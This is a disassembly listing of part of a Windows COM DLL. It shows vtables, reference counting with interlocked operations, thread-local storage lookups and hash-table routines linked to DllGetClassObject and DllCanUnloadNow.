off_69B185E0	dd offset loc_69B6E304	; DATA XREF: sub_69B6F741-571D5o
		dd offset sub_69B6F2BA
off_69B185E8	dd offset loc_69B6E4ED	; DATA XREF: sub_69B6F741-571DCo
		dd offset loc_69B6E507
		dd offset loc_69B6E521
		dd offset sub_69B6E2D2
		dd offset sub_69B6E2F1
		dd offset sub_69B6F176
off_69B18600	dd offset loc_69B6F655	; DATA XREF: sub_69B6F741-571E3o
		dd offset loc_69B6F65F
		dd offset loc_69B6F669
		dd offset loc_69B6FCC4
		dd offset loc_69B6F7CC
		dd offset loc_69B6F824
		dd offset sub_69B6E3D7
off_69B1861C	dd offset sub_69B6547B	; DATA XREF: sub_69B6F741-571E9o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B6F673
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2D6C8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6F87C

; =============== S U B	R O U T	I N E =======================================



sub_69B18654	proc near		; CODE XREF: sub_69B71AFF-5BADBp
					; sub_69B16DBC+4p ...
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B18670
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	esi
		retn
sub_69B18654	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B18670	dd offset sub_69B2D67E	; DATA XREF: sub_69B1814A+Co
					; sub_69B18654+8o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2D6C8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5

; =============== S U B	R O U T	I N E =======================================



sub_69B186A8	proc near		; CODE XREF: sub_69B3F493+3j
					; .text:69B3F4C8j ...

; FUNCTION CHUNK AT 69B22E4E SIZE 00000008 BYTES

		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B186BB
		test	al, 4
		jnz	loc_69B22E4E


loc_69B186BB:				; CODE XREF: sub_69B186A8+9j
		lea	eax, [esi+8]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		test	eax, eax


loc_69B186C7:				; CODE XREF: sub_69B186A8+A7A9j
		jnz	short loc_69B186D2
		mov	eax, [esi]
		mov	ecx, esi
		push	1
		call	dword ptr [eax+0Ch]


loc_69B186D2:				; CODE XREF: sub_69B186A8:loc_69B186C7j
		pop	esi
		retn
sub_69B186A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B186D4	proc near		; DATA XREF: .text:69B18100o
					; .text:69B1F94Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B186FA
		test	[esp+4+arg_0], 1
		jz	short loc_69B186F4
		push	esi
		call	sub_69B1829F


loc_69B186F4:				; CODE XREF: sub_69B186D4+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B186D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B186FA	proc near		; CODE XREF: sub_69B18284+3p
					; sub_69B186D4+Ep ...
		mov	dword ptr [ecx], offset	off_69B12188
sub_69B186FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B18700	proc near		; CODE XREF: sub_69B1D5F3+17p
					; sub_69B2D825+9p ...
		push	esi
		mov	esi, ecx
		push	esi
		call	sub_69B181A4
		test	al, al
		jz	short loc_69B1870F


loc_69B1870D:				; CODE XREF: sub_69B18700+15j
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1870F:				; CODE XREF: sub_69B18700+Bj
		push	esi
		call	sub_69B1B1F3
		jmp	short loc_69B1870D
sub_69B18700	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1872D


loc_69B18717:				; CODE XREF: sub_69B1872D+58j
		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+2024h]
		inc	dword ptr [eax]
		cmp	dword ptr [eax], 20h
		jnz	short locret_69B18787
		jmp	loc_69B23AD3
; END OF FUNCTION CHUNK	FOR sub_69B1872D

; =============== S U B	R O U T	I N E =======================================



sub_69B1872D	proc near		; CODE XREF: sub_69B182B8+ABp
					; sub_69B23725+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B18717 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 69B23AD3 SIZE 0000000F BYTES

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_8]
		push	dwTlsIndex
		mov	ecx, edi
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	esi, [eax+ecx*8+18h]
		call	dword_69B92970
		mov	ebx, eax
		mov	[ebx+50h], edi
		add	edi, 4
		push	edi		; Target
		call	sub_69B18980
		mov	ecx, [esp+10h+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[esi], edx
		push	eax
		push	edi
		mov	byte ptr [ecx],	0
		call	sub_69B18788
		and	dword ptr [ebx+50h], 0
		cmp	dword ptr [esi], 0EFh
		pop	edi
		mov	dword ptr [esi+4], 0F0h
		pop	esi
		pop	ebx
		jz	short loc_69B18717

locret_69B18787:			; CODE XREF: sub_69B1872D-7j
					; sub_69B1872D+B3B0j
		retn
sub_69B1872D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B18788	proc near		; CODE XREF: sub_69B1872D+3Fp
					; sub_69B1DE55+6B7Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		retn	8
sub_69B18788	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1879A


loc_69B18795:				; CODE XREF: sub_69B1879A+2Aj
		push	2


loc_69B18797:				; CODE XREF: sub_69B1879A+1B6Dj
		pop	eax
		jmp	short loc_69B187DE
; END OF FUNCTION CHUNK	FOR sub_69B1879A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1879A	proc near		; CODE XREF: sub_69B17DC6+3Ap
					; sub_69B18A22+37p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 69B11D62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 69B18795 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 69B1A2FD SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		and	eax, 7FFFFFFFh
		push	edi
		cdq
		mov	edi, ecx
		idiv	dword ptr [edi+18h]
		or	[ebp+var_4], 0FFFFFFFFh
		push	esi
		mov	ebx, edx


loc_69B187B5:				; CODE XREF: sub_69B1879A+1B77j
		mov	ecx, [edi+20h]
		push	ebx
		call	sub_69B171A0
		mov	esi, eax
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_69B18795
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B18800
		test	al, al
		jz	loc_69B1A2FD
		xor	eax, eax
		inc	eax


loc_69B187DE:				; CODE XREF: sub_69B1879A-2j
		mov	ecx, [ebp+arg_8]
		mov	[ecx], esi
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		pop	esi
		jnz	loc_69B11D62


loc_69B187EF:				; CODE XREF: sub_69B1879A-6A36j
		mov	ecx, [ebp+arg_10]
		test	ecx, ecx
		pop	edi
		pop	ebx
		jnz	loc_69B11D69

locret_69B187FC:			; CODE XREF: sub_69B1879A-6A2Cj
		leave
		retn	14h
sub_69B1879A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18800	proc near		; CODE XREF: sub_69B1879A+34p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B11DB6 SIZE 00000007 BYTES

		mov	eax, [ecx+8]
		cmp	eax, [esp+arg_4]
		jnz	loc_69B11DB6
		mov	ecx, [ecx]
		push	[esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+24h]
		test	al, al
		jz	loc_69B11DB6
		xor	eax, eax
		inc	eax

locret_69B18823:			; CODE XREF: sub_69B18800-6A48j
		retn	8
sub_69B18800	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18826	proc near		; CODE XREF: sub_69B11DBDj
					; DATA XREF: .text:69B12234o ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		mov	ecx, offset off_69B1888C
		call	sub_69B1885E
		test	al, al
		jz	short loc_69B18855
		mov	eax, [esi+8]
		cmp	eax, [edi+8]
		jnz	short loc_69B1885A
		mov	edi, [edi+0Ch]
		mov	esi, [esi+0Ch]
		lea	ecx, [eax+eax]
		xor	eax, eax
		repe cmpsb
		jnz	short loc_69B1885A
		inc	eax


loc_69B18855:				; CODE XREF: sub_69B18826+15j
					; sub_69B18826+36j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B1885A:				; CODE XREF: sub_69B18826+1Dj
					; sub_69B18826+2Cj
		xor	eax, eax
		jmp	short loc_69B18855
sub_69B18826	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1885E	proc near		; CODE XREF: sub_69B18826+Ep
					; sub_69B4CC14+15p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B23CB3 SIZE 00000007 BYTES

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		test	ecx, ecx
		jz	short loc_69B18880
		mov	eax, [ecx]
		call	dword ptr [eax+1Ch]


loc_69B1886E:				; CODE XREF: sub_69B1885E+B457j
		test	eax, eax
		jz	short loc_69B18880
		cmp	eax, esi
		jnz	loc_69B23CB3
		mov	al, 1


loc_69B1887C:				; CODE XREF: sub_69B1885E+24j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B18880:				; CODE XREF: sub_69B1885E+9j
					; sub_69B1885E+12j
		xor	al, al
		jmp	short loc_69B1887C
sub_69B1885E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18884	proc near		; CODE XREF: sub_69B4CC14+Ep
					; DATA XREF: .text:69B1222Co ...
		mov	eax, offset off_69B1888C
		retn
sub_69B18884	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1888C	dd offset dword_69B18894 ; DATA	XREF: sub_69B18826+9o
					; sub_69B18884o ...
		dd offset sub_69B6860C
dword_69B18894	dd 2 dup(0)						; .text:off_69B25E94o ...

; =============== S U B	R O U T	I N E =======================================



sub_69B1889C	proc near		; CODE XREF: DllGetClassObject+77p
					; sub_69B61F42+41p
		call	sub_69B195DA
		cmp	dword_69B95A14,	0
		jnz	short locret_69B188DB
		push	0
		push	0
		push	0C8h
		call	sub_69B1A768
		mov	dword_69B95A14,	eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		push	0
		push	dword_69B95A18
		call	sub_69B192E9
		push	eax		; Value
		mov	ecx, offset dword_69B95A0C ; Target
		call	sub_69B188DC

locret_69B188DB:			; CODE XREF: sub_69B1889C+Cj
		retn
sub_69B1889C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __thiscall sub_69B188DC(LPLONG Target, LONG Value)

sub_69B188DC	proc near		; CODE XREF: sub_69B1992C-7B4Dp
					; sub_69B1889C+3Ap ...

var_4		= byte ptr -4
Value		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jnz	short loc_69B18913
		push	dword_69B929D8
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		cmp	dword ptr [esi+4], 0
		jnz	short loc_69B1890B
		mov	eax, dword_69B929EC
		mov	[esi+4], eax
		mov	dword_69B929EC,	esi


loc_69B1890B:				; CODE XREF: sub_69B188DC+1Fj
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C


loc_69B18913:				; CODE XREF: sub_69B188DC+Bj
		push	[ebp+Value]	; Value
		push	esi		; Target
		call	sub_69B18921
		pop	esi
		leave
		retn	4
sub_69B188DC	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B18921(LPLONG Target, LONG Value)

sub_69B18921	proc near		; CODE XREF: sub_69B188DC+3Bp
					; sub_69B58C7C+96p

Target		= dword	ptr  4
Value		= dword	ptr  8

; FUNCTION CHUNK AT 69B234BC SIZE 0000000B BYTES

		push	esi
		mov	esi, [esp+4+Value]
		test	esi, esi
		jz	short loc_69B18930
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_69B18930:				; CODE XREF: sub_69B18921+7j
		push	esi		; Value
		push	[esp+8+Target]	; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		test	eax, eax
		pop	esi
		jnz	loc_69B234BC

locret_69B18944:			; CODE XREF: sub_69B18921+ABA1j
		retn	8
sub_69B18921	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18947	proc near		; DATA XREF: .text:69B172E4o
					; .text:69B180F8o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		call	sub_69B18953
		retn	4
sub_69B18947	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18953	proc near		; CODE XREF: sub_69B18947+4p
		call	sub_69B17275
		test	eax, eax
		jnz	sub_69B17355
		push	esi
		lea	esi, [ecx+4]
		push	esi		; Target
		call	sub_69B18980
		add	eax, 8
		mov	[esi], eax
		shr	eax, 3
		pop	esi
		retn
sub_69B18953	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B18980(LPLONG Target)

sub_69B18980	proc near		; CODE XREF: sub_69B11E80+8p
					; sub_69B11EFA+Dp ...

Target		= dword	ptr  4

; FUNCTION CHUNK AT 69B22E30 SIZE 00000017 BYTES

		mov	al, byte_69B929CC
		neg	al
		push	esi
		mov	esi, [esp+4+Target]
		push	edi
		sbb	eax, eax
		and	eax, 0FA0h
		mov	edi, eax


loc_69B18996:				; CODE XREF: sub_69B18980+A4B5j
					; sub_69B18980+A4C2j
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	loc_69B22E30
		push	0FFFFFFFFh	; Value
		push	esi		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B22E30
		pop	edi
		pop	esi
		retn	4
sub_69B18980	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17DC6


loc_69B189BE:				; CODE XREF: sub_69B17DC6+C31j
		inc	ebx
		mov	[esi+1Ch], ebx
		jmp	short loc_69B189F9
; ---------------------------------------------------------------------------


loc_69B189C4:				; CODE XREF: sub_69B17DC6+8Cj
		mov	ecx, [esi+20h]
		mov	[ebp-54h], ecx
		push	ebx
		call	sub_69B171A0
		mov	edi, eax
		mov	[ebp-58h], edi
		mov	eax, [edi]
		mov	[ebp-5Ch], eax
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		call	sub_69B17320
		mov	eax, [edi+4]
		mov	[ebp-60h], eax
		push	eax
		push	esi
		lea	ecx, [ebp-50h]
		call	sub_69B18ACB
		cmp	[esi+1Ch], ebx
		jle	short loc_69B189BE


loc_69B189F9:				; CODE XREF: sub_69B17DC6+BFCj
		mov	ebx, [edi+0Ch]
		mov	[ebp-30h], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B17EA0
		dec	dword ptr [esi+0Ch]
		mov	eax, [ebp-4Ch]
		mov	[ebp-64h], eax
		push	0
		push	eax
		push	dword ptr [ebp-50h]
		mov	ecx, esi
		call	sub_69B18A22
		jmp	loc_69B17E4F
; END OF FUNCTION CHUNK	FOR sub_69B17DC6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B18A22	proc near		; CODE XREF: sub_69B17DC6+C52p
					; sub_69B18FB8+27p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 69B199DF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 69B2402E SIZE 0000003B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	esi, ecx
		mov	[ebp+var_4], ebx
		jz	loc_69B2405A
		cmp	[ebp+arg_4], ebx
		jz	loc_69B2405A
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+20h]
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	eax
		push	edi
		mov	ecx, esi
		mov	[ebp+var_8], eax
		call	sub_69B1879A
		dec	eax
		jz	loc_69B2402E
		dec	eax
		jnz	loc_69B199DF


loc_69B18A6C:				; CODE XREF: sub_69B18A22+FE2j
		push	[ebp+var_8]
		mov	ecx, [ebp+arg_0]
		push	[ebp+arg_4]
		push	edi
		push	esi
		call	sub_69B18AA0
		inc	dword ptr [esi+0Ch]
		cmp	[ebp+arg_8], bl
		jz	short loc_69B18A8A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_69B18A8A:				; CODE XREF: sub_69B18A22+60j
					; sub_69B18A22+FBEj ...
		mov	eax, [esi+0Ch]
		cmp	eax, [esi+14h]
		jg	loc_69B2404E


loc_69B18A96:				; CODE XREF: sub_69B18A22+B633j
					; sub_69B18A22+B642j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B18A22	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18AA0	proc near		; CODE XREF: sub_69B18A22+55p
					; sub_69B31749+BFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_69B17320
		push	[esp+4+arg_8]
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_69B18ACB
		mov	eax, [esp+4+arg_C]
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	[esi+8], eax
		pop	esi
		retn	10h
sub_69B18AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18ACB	proc near		; CODE XREF: sub_69B17DC6+C29p
					; sub_69B18AA0+17p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B23FB8 SIZE 00000012 BYTES

		mov	eax, [esp+arg_0]
		cmp	byte ptr [eax+8], 0
		jnz	loc_69B23FB8
		mov	eax, [esp+arg_4]
		mov	[ecx+4], eax

locret_69B18AE0:			; CODE XREF: sub_69B18ACB+B4FAj
		retn	8
sub_69B18ACB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B18AE3	proc near		; CODE XREF: .text:69B46378j
					; DATA XREF: .text:off_69B1DF78o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B248F2 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_69B248F2
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	ebx
		call	sub_69B18B3B
		push	[ebp+arg_8]
		mov	eax, [esi+18h]
		push	[ebp+arg_4]
		mov	ecx, [eax+4Ch]
		push	0
		push	esi
		push	0
		push	0
		call	sub_69B1C04C
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B18B36:				; CODE XREF: sub_69B18AE3+BE14j
		pop	ebx
		leave
		retn	0Ch
sub_69B18AE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18B3B	proc near		; CODE XREF: sub_69B18AE3+22p
					; sub_69B18E72+22p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		lea	ecx, [esi+4]
		call	sub_69B1B552
		push	0
		push	[esp+8+arg_4]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_69B18B65
		mov	eax, esi
		pop	esi
		retn	8
sub_69B18B3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18B65	proc near		; CODE XREF: sub_69B18B3B+1Fp
					; sub_69B3B332+1Fp ...

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B248FC SIZE 00000046 BYTES

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_8]
		mov	esi, ecx
		jz	loc_69B248FC


loc_69B18B7A:				; CODE XREF: sub_69B18B65+BDD8j
		test	edi, edi
		jnz	loc_69B24908


loc_69B18B82:				; CODE XREF: sub_69B18B65+BDAFj
		cmp	dword ptr [esi+0Ch], 0
		jz	loc_69B24919


loc_69B18B8C:				; CODE XREF: sub_69B18B65+BDBAj
		mov	ecx, [ebx+3Ch]
		mov	[esi], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		test	edi, edi
		jnz	loc_69B24924


loc_69B18B9E:				; CODE XREF: sub_69B18B65+BDCBj
		mov	esi, [esi]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_69B18BA6:				; CODE XREF: sub_69B18B65+BD9Ej
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B18B65	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18BAC	proc near		; DATA XREF: .text:69B1B3ECo
		push	esi
		push	dwTlsIndex
		mov	esi, ecx
		call	dword_69B92970
		push	eax
		mov	ecx, esi
		call	sub_69B18BC5
		pop	esi
		retn
sub_69B18BAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18BC5	proc near		; CODE XREF: sub_69B18BAC+12p
					; sub_69B192E9+56p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B23473 SIZE 0000000F BYTES

		mov	eax, [ecx+28h]
		cmp	eax, [esp+arg_0]
		jz	loc_69B23473
		push	0FFFFFFFFh	; dwMilliseconds
		call	sub_69B18BDC

locret_69B18BD9:			; CODE XREF: sub_69B18BC5+A8B8j
		retn	4
sub_69B18BC5	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B18BDC(DWORD dwMilliseconds)

sub_69B18BDC	proc near		; CODE XREF: sub_69B18BC5+Fp
					; sub_69B2DE91+2p ...

dwMilliseconds	= dword	ptr  4

; FUNCTION CHUNK AT 69B18C06 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B23407 SIZE 00000010 BYTES

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+14h]
		push	edi		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		cmp	dword ptr [esi+10h], 0
		jg	loc_69B23407
		mov	eax, [edi]
		cmp	eax, [esi+1Ch]
		jg	loc_69B23407


loc_69B18BFF:				; CODE XREF: sub_69B18BDC+2Ej
		mov	al, 1


loc_69B18C01:				; CODE XREF: sub_69B18BDC+2Cj
		pop	edi
		pop	esi
		retn	4
sub_69B18BDC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18BDC


loc_69B18C06:				; CODE XREF: sub_69B18BDC+A836j
		test	al, al
		jz	short loc_69B18C01
		jmp	short loc_69B18BFF
; END OF FUNCTION CHUNK	FOR sub_69B18BDC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B18C0C	proc near		; CODE XREF: DllCanUnloadNow+20p
					; sub_69B19148+A1C2p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B23245 SIZE 000000B1 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		test	byte ptr [ebp+arg_0], 8
		jz	loc_69B23245


loc_69B18C1A:				; CODE XREF: sub_69B18C0C+A64Cj
					; sub_69B18C0C+A65Ej
		push	esi
		push	dwTlsIndex
		call	dword_69B92970
		mov	esi, eax
		cmp	esi, dword_69B929A0
		jz	short loc_69B18CAE
		push	ebx
		xor	ebx, ebx
		cmp	[esi+20h], bl
		jnz	short loc_69B18CAD
		mov	eax, dword_69B929D0
		cmp	[eax+28h], esi
		jz	short loc_69B18CAD
		mov	eax, dword_69B929D4
		cmp	[eax+28h], esi
		jz	short loc_69B18CAD
		push	dword_69B929E0
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		cmp	byte_69B929BD, bl
		mov	edx, dword_69B929B0
		mov	dword_69B929B4,	edx
		mov	dword_69B929B8,	ebx
		jnz	loc_69B2326F
		cmp	dword_69B929AC,	ebx
		jnz	short loc_69B18CA5
		test	byte ptr [ebp+arg_0], 2
		jz	loc_69B232C8
		cmp	byte_69B929BC, bl
		jnz	short loc_69B18CA5
		mov	dword_69B929AC,	1


loc_69B18C9D:				; CODE XREF: sub_69B18C0C+A66Fj
					; sub_69B18C0C+A6A2j ...
		push	[ebp+arg_0]
		call	sub_69B18CB3


loc_69B18CA5:				; CODE XREF: sub_69B18C0C+73j
					; sub_69B18C0C+85j ...
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C


loc_69B18CAD:				; CODE XREF: sub_69B18C0C+2Bj
					; sub_69B18C0C+35j ...
		pop	ebx


loc_69B18CAE:				; CODE XREF: sub_69B18C0C+23j
		pop	esi

locret_69B18CAF:			; CODE XREF: sub_69B18C0C+A658j
		leave
		retn	4
sub_69B18C0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18CB3	proc near		; CODE XREF: sub_69B18C0C+94p

; FUNCTION CHUNK AT 69B1E224 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 69B1E2D4 SIZE 000000BB BYTES
; FUNCTION CHUNK AT 69B230A2 SIZE 00000138 BYTES
; FUNCTION CHUNK AT 69B23213 SIZE 0000001D BYTES

		push	30Ch
		push	offset dword_69B18D80
		call	sub_69B19C5C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp-1Ch], eax
		cmp	byte_69B929BC, 0
		jnz	loc_69B1E350
		push	dword_69B929DC
		lea	ecx, [ebp-20h]
		call	sub_69B18E23
		mov	eax, dword_69B929D4
		xor	edi, edi
		cmp	[eax+2Ch], edi
		jg	loc_69B18DB1
		mov	eax, dword_69B929D0
		cmp	[eax+2Ch], edi
		jg	loc_69B18DB1
		inc	dword_69B929A8
		call	sub_69B1B193
		mov	[ebp-4], edi
		mov	byte_69B92988, 0
		mov	eax, lpMem
		mov	dword_69B9298C,	eax
		call	sub_69B11E73
		mov	ebx, eax
		mov	[ebp-24h], ebx
		push	ebx
		call	sub_69B1B580
		mov	esi, dword_69B9295C
		mov	dword_69B92994,	esi


loc_69B18D41:				; CODE XREF: sub_69B18CB3+C5j
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_69B18D8C
		cmp	byte ptr [esi+44h], 0
		jnz	loc_69B230A2


loc_69B18D52:				; CODE XREF: sub_69B18CB3+A3F5j
		cmp	byte ptr [esi+18h], 0
		jnz	short loc_69B18DAB
		lea	edi, [esi+0Ch]
		push	edi		; Target
		call	sub_69B18980
		push	esi
		call	sub_69B11E80
		mov	[ebp-2Ch], eax
		mov	[edi], eax
		mov	[esi+4], esi
		mov	byte ptr [esi+18h], 1
		xor	edi, edi


loc_69B18D75:				; CODE XREF: sub_69B18CB3+FCj
		mov	esi, [esi+14h]
		jmp	short loc_69B18D41
; ---------------------------------------------------------------------------
		align 10h
dword_69B18D80	dd 0FFFFFFFFh			dd offset sub_69B231DA
		dd offset sub_69B231E3
; ---------------------------------------------------------------------------


loc_69B18D8C:				; CODE XREF: sub_69B18CB3+93j
		cmp	byte_69B929BD, 0
		jnz	loc_69B230AD


loc_69B18D99:				; CODE XREF: sub_69B18CB3+A40Bj
		mov	eax, dword_69B92984
		mov	dword_69B929C4,	eax
		mov	esi, dword_69B92994
		jmp	short loc_69B18DC3
; ---------------------------------------------------------------------------


loc_69B18DAB:				; CODE XREF: sub_69B18CB3+A3j
		mov	byte ptr [esi+19h], 0
		jmp	short loc_69B18D75
; ---------------------------------------------------------------------------


loc_69B18DB1:				; CODE XREF: sub_69B18CB3+3Fj
					; sub_69B18CB3+4Dj
		cmp	byte_69B929BD, 0
		jnz	loc_69B1E348
		jmp	loc_69B1E342
; ---------------------------------------------------------------------------


loc_69B18DC3:				; CODE XREF: sub_69B18CB3+F6j
					; sub_69B18CB3+16Ej
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	loc_69B1E224
		push	dword_69B929E4
		lea	ecx, [ebp-30h]
		call	sub_69B18E23
		cmp	[esi+30h], edi
		jz	short loc_69B18E16
		cmp	esi, ebx
		jnz	loc_69B230C3


loc_69B18DE9:				; CODE XREF: sub_69B18CB3+A42Ej
